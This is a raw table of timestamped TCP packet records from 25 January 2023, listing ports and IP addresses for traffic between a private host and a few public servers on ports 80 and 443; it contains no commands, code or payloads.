Jan 25, 2023 09:43:38.993175030 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.993211985 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.000636101 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.000683069 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.000727892 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.000746965 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.000773907 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.000822067 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.000869036 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.000871897 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.000917912 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.000960112 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.000963926 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001005888 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001012087 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001059055 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001102924 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001106977 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001154900 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001199961 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001202106 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001249075 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001297951 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001342058 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001346111 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001390934 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001434088 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001435995 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001477957 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001482964 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001597881 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001641989 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001651049 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001702070 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001748085 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001749992 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001794100 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001838923 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001883984 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001883984 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001929045 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.001971960 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.001974106 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002015114 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002018929 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002064943 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002108097 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002110958 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002155066 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002197027 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002202034 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002248049 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002293110 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002334118 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002338886 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002383947 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002429962 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002429962 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002470016 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002479076 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002522945 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002567053 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002568007 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002613068 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002657890 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002657890 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002726078 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002814054 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002856970 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002861023 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002906084 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002949953 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.002949953 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002990961 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.002998114 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.003043890 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.003088951 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.003091097 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.018964052 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019056082 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019099951 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019138098 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019145012 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019172907 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019191027 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019236088 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019279957 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019283056 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019330978 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019345045 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019376993 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019422054 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019464016 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019469023 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019514084 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019541979 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019558907 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019599915 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019603968 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019648075 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019692898 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019694090 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019740105 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019783974 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019797087 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019829035 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019874096 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019918919 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.019918919 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019974947 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.019992113 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.020020008 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020134926 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020160913 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.020195007 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020242929 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020267010 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.020291090 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020370960 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020416975 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020464897 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020479918 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.020512104 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020551920 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.020559072 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.020591021 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.029906034 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.029957056 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.029992104 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.030003071 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030059099 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.030149937 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030265093 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030318022 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.030361891 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030409098 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030452013 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.030512094 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030610085 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030654907 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030670881 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.030719042 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030766964 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.030833006 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030880928 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030925989 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.030970097 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031013966 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031023026 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031023979 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031120062 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031163931 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031172037 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031208038 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031251907 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031296015 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031299114 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031351089 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031392097 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031395912 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031438112 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031440020 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031485081 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031527996 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031528950 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031574011 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031615973 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031618118 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031661987 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031707048 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031735897 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031802893 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031850100 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031858921 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031896114 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.031944990 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.031996965 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032044888 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032088995 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032134056 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032181978 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032215118 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.032215118 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.032392025 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032452106 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032496929 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032519102 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.032556057 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032572985 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.032601118 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032646894 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032651901 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.032700062 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032747984 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.032798052 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032843113 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032887936 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.032921076 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.032943010 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.033026934 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.033068895 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.033121109 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.033180952 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.046853065 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.046895981 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.046932936 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.046942949 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047014952 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047091961 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047132015 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047158003 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047190905 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047221899 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047229052 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047286987 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047307968 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047347069 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047384977 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047421932 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047426939 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047457933 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047463894 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047496080 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047532082 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047538042 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047569036 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047605991 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047609091 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047645092 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047686100 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047692060 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047760963 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047796965 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047805071 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047832966 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047868967 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047898054 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047907114 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.047954082 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.047981977 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.048018932 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.048053980 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:39.048058033 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.048105001 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.127978086 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.128066063 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.130137920 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:39.156626940 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:49.106522083 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:43:49.123984098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:43:49.124118090 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:44:09.943468094 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:09.970089912 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:09.970195055 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:09.970426083 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:09.997164965 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:09.999373913 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.015150070 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:10.041733027 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.041863918 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:10.068223953 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.069411039 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.082230091 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:10.108711004 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.108820915 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:10.135262012 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.136461020 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.185281992 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:10.914288044 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:10.914464951 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:10.943588018 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.943622112 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.943641901 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.944165945 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:10.972745895 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:10.974929094 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:11.029134989 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:19.591198921 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:19.618462086 CET	80	49736	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:19.618556976 CET	49736	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:46.041114092 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:46.041207075 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:46.041488886 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:46.080075979 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:46.080125093 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:46.185442924 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:46.185579062 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:46.187895060 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:46.187911034 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:46.188261032 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:46.229001999 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:46.514643908 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:46.514717102 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.014302015 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.014377117 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.014394045 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.014442921 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.014482975 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.014537096 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.014563084 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.014591932 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.014591932 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.014616966 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.014652014 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.014729977 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.014754057 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.014833927 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.038451910 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.038542032 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.038589001 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.038639069 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.038677931 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.038693905 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.038949013 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.039031982 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.039062977 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.039086103 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.039108038 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.039141893 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.039285898 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.039376020 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.039395094 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.039412022 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.039513111 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.039513111 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.062728882 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.062813997 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.062865019 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.062915087 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.062948942 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.062968969 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.063168049 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.063246012 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.063251019 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.063271999 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.063314915 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.063334942 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.063611031 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.063688993 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.063715935 CET	49749	443	192.168.2.3	144.76.136.153
